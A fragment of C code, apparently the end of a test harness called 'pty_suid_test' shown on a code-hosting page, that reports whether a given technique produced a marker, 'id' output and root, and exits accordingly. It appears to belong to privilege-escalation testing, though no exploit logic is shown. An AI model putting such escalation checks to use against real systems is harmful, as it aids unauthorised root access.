||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"\n[pty_suid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
|
||||
technique_of(argc, argv),
|
||||
ok ? "SEEN" : "MISSING",
|
||||
saw_id ? "SEEN" : "MISSING",
|
||||
saw_root ? "SEEN" : "MISSING");
|
||||
|
||||
if (must_root)
|
||||
return (ok && saw_id && saw_root) ? 0 : 1;
|
||||
return (ok && saw_id) ? 0 : 1;
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue